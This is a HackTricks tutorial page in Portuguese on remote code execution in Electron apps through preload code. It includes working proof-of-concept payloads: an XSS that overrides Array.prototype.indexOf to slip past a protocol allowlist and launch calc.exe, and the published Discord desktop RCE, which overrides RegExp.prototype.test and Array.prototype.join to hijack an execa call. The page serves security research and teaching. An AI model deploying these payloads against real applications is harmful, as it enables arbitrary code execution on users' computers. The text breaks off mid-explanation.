Electron contextIsolation RCE via preload code
Reading time: 3 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Exemplo 1
Este código abre links http(s) com o navegador padrão:
Algo como file:///C:/Windows/systemd32/calc.exe
poderia ser usado para executar uma calculadora, o SAFE_PROTOCOLS.indexOf
está prevenindo isso.
Portanto, um atacante poderia injetar este código JS via XSS ou navegação de página arbitrária:
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
Como a chamada para SAFE_PROTOCOLS.indexOf
sempre retornará 1337, o atacante pode contornar a proteção e executar o calc. Exploit final:
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
Verifique os slides originais para outras maneiras de executar programas sem ter um prompt pedindo permissões.
Aparentemente, outra maneira de carregar e executar código é acessar algo como file://127.0.0.1/electron/rce.jar
Exemplo 2: RCE do App Discord
Exemplo de https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1
Ao verificar os scripts de preload, descobri que o Discord expõe a função, que permite que alguns módulos permitidos sejam chamados via DiscordNative.nativeModules.requireModule('MODULE-NAME')
, na página da web.
Aqui, não consegui usar módulos que podem ser usados para RCE diretamente, como o módulo child_process, mas encontrar um código onde RCE pode ser alcançado ao sobrescrever os métodos embutidos do JavaScript e interferir na execução do módulo exposto.
O seguinte é o PoC. Consegui confirmar que o calc é aberto quando eu chamo a função getGPUDriverVersions
que está definida no módulo chamado "discord_utils" do devTools, enquanto sobrescrevo o RegExp.prototype.test
e Array.prototype.join
.
RegExp.prototype.test = function () {
return false
}
Array.prototype.join = function () {
return "calc"
}
DiscordNative.nativeModules
.requireModule("discord_utils")
.getGPUDriverVersions()
A função getGPUDriverVersions
tenta executar o programa usando a biblioteca "execa", como a seguinte:
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== "win32") {
return {}
}
const result = {}
const nvidiaSmiPath = `${process.env["ProgramW6432"]}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []))
} catch (e) {
result.nvidia = { error: e.toString() }
}
return result
}
Normalmente, o execa tenta executar "nvidia-smi.exe", que é especificado na variável nvidiaSmiPath
, no entanto, devido ao RegExp.prototype.test
e Array.prototype.join
sobrepostos, o argumento é substituído por "calc" no processamento interno do _execa_**.
Especificamente, o argumento é substituído alterando as seguintes duas partes.